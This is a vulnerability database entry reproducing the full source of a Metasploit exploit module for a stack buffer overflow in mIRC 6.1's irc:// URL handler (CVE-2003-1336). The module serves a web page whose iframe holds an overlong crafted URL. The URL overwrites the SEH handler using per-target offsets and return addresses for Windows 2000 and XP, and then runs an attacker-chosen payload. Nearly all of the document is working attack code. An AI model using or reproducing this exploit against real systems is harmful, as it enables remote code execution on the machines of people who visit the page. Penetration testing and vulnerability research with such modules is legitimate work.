mIRC IRC URL Buffer Overflow

2006-11-03T19:35:42
ID MSF:EXPLOIT/WINDOWS/BROWSER/MIRC_IRC_URL
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module exploits a stack buffer overflow in mIRC 6.1. By submitting an overly long and specially crafted URL to the 'irc' protocol, an attacker can overwrite the buffer and control program execution.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'mIRC IRC URL Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in mIRC 6.1. By
        submitting an overly long and specially crafted URL to
        the 'irc' protocol, an attacker can overwrite the buffer
        and control program execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'MC',
      'References'     =>
        [
          [ 'CVE', '2003-1336'],
          [ 'OSVDB', '2665'],
          [ 'BID', '8819' ],
        ],

      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },

      'Payload'        =>
        {
          'Space'    => 400,
          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
          'StackAdjustment' => -3500,
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 Pro English All',   { 'Offset' => 1442, 'Ret' => 0x75022ac4 } ],
          [ 'Windows XP Pro SP0/SP1 English', { 'Offset' => 1414, 'Ret' => 0x71aa32ad } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 13 2003',
      'DefaultTarget'  => 0))
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    filler =  rand_text_alphanumeric(target['Offset'], payload_badchars)
    seh    = generate_seh_payload(target.ret)
    sploit = filler + seh

    # Build the HTML content
    content = "<html><iframe src='irc://#{sploit}'></html>"

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end